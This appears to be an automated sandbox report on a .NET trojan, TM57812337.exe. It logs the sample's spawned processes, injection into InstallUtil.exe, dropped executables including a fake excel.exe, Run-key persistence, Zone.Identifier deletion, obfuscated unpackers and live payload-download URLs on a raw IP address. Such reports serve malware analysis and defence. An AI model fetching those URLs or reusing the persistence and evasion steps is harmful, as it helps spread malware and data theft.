Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\Njueisg\Qylfpmj.exe "C:\Users\user\AppData\Roaming\Njueisg\Qylfpmj.exe"
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\Njueisg\Qylfpmj.exe "C:\Users\user\AppData\Roaming\Njueisg\Qylfpmj.exe"
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10 Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe "C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe" Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: C:\Users\user\Desktop\TM57812337.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\TM57812337.exe File created: C:\Users\user\AppData\Local\Ujxomvdv Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe File created: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@39/12@0/2
Source: C:\Users\user\Desktop\TM57812337.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: TM57812337.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\TM57812337.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2600:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3636:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{48177aef-c702-4098-984e-f8426dcfd171}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5680:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6884:120:WilError_01
Source: TM57812337.exe String found in binary or memory: http://3.124.188.36/bay/loader/uploads/TM57812337_Nbfpwrzt.bmp
Source: Qqsucntzxgqwkiqkvrafiufflip.exe String found in binary or memory: http://3.124.188.36/bay/loader/uploads/flip_Jozgxzue.jpg
Source: Qjarsxlh.exe String found in binary or memory: http://3.124.188.36/bay/loader/uploads/TM57812337_Nbfpwrzt.bmp
Source: Qjarsxlh.exe String found in binary or memory: http://3.124.188.36/bay/loader/uploads/TM57812337_Nbfpwrzt.bmp
Source: 14.2.InstallUtil.exe.400000.0.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 14.2.InstallUtil.exe.400000.0.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 14.0.InstallUtil.exe.400000.1.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 14.0.InstallUtil.exe.400000.1.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 14.0.InstallUtil.exe.400000.4.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 14.0.InstallUtil.exe.400000.4.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\TM57812337.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: TM57812337.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: TM57812337.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: excel.exe, 00000014.00000002.437038810.0000000000BE2000.00000002.00000001.01000000.0000000A.sdmp, excel.exe, 0000001D.00000002.456120032.0000000000F72000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: protobuf-net.pdbSHA256 source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: excel.exe, excel.exe, 0000001D.00000002.456120032.0000000000F72000.00000002.00000001.01000000.0000000A.sdmp, InstallUtil.exe, 00000021.00000002.535075239.0000000006380000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: TM57812337.exe, nbjjg.cs .Net Code: gpcje System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: Qjarsxlh.exe.0.dr, nbjjg.cs .Net Code: gpcje System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: Qqsucntzxgqwkiqkvrafiufflip.exe.0.dr, tnyy.cs .Net Code: pqsj System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.TM57812337.exe.110000.0.unpack, nbjjg.cs .Net Code: gpcje System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.TM57812337.exe.110000.0.unpack, nbjjg.cs .Net Code: gpcje System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: Qylfpmj.exe.12.dr, tnyy.cs .Net Code: pqsj System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.0.Qqsucntzxgqwkiqkvrafiufflip.exe.b20000.3.unpack, tnyy.cs .Net Code: pqsj System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.0.Qqsucntzxgqwkiqkvrafiufflip.exe.b20000.0.unpack, tnyy.cs .Net Code: pqsj System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.b20000.0.unpack, tnyy.cs .Net Code: pqsj System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.0.Qqsucntzxgqwkiqkvrafiufflip.exe.b20000.2.unpack, tnyy.cs .Net Code: pqsj System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.0.Qqsucntzxgqwkiqkvrafiufflip.exe.b20000.1.unpack, tnyy.cs .Net Code: pqsj System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231CAAE push FFFFFF8Bh; iretd 0_2_0231CAB0
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_023119C1 push edi; ret 0_2_023119C3
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231BE13 push FFFFFF8Bh; iretd 0_2_0231BE1A
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231BF3B push FFFFFF8Bh; iretd 0_2_0231BF42
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231BDFF push FFFFFF8Bh; ret 0_2_0231BE03
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231BDC6 push FFFFFF8Bh; ret 0_2_0231BDC9
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0540C049 push edi; ret 0_2_0540C04B
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0540BAB1 push edi; ret 0_2_0540BAB3
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_05472551 push edi; ret 0_2_05472553
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_05472246 push edi; ret 0_2_05472248
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_05470066 push edi; ret 0_2_05470068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_060CEBFF push esp; ret 14_2_060CED11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0670C443 push edx; retf 14_2_0670C5BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_067018F7 push es; ret 14_2_06701910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_067018AB push es; ret 14_2_067018C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_06702177 push edi; retn 0000h 14_2_06702179
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 15_2_062E0006 push es; retf 15_2_062E001C
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CCAAE push FFFFFF8Bh; iretd 16_2_028CCAB0
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CBE13 push FFFFFF8Bh; iretd 16_2_028CBE1A
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CBDC6 push FFFFFF8Bh; ret 16_2_028CBDC9
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CBDFF push FFFFFF8Bh; ret 16_2_028CBE03
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File created: C:\Users\user\AppData\Roaming\excel\excel.exe Jump to dropped file
Source: C:\Users\user\Desktop\TM57812337.exe File created: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Jump to dropped file
Source: C:\Users\user\Desktop\TM57812337.exe File created: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe File created: C:\Users\user\AppData\Roaming\Njueisg\Qylfpmj.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run excel Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qjarsxlh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qylfpmj Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qjarsxlh Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qjarsxlh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qylfpmj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qylfpmj Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run excel Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run excel Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\excel\excel.exe:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe:Zone.Identifier read attributes | delete
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\excel\excel.exe:Zone.Identifier read attributes | delete
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
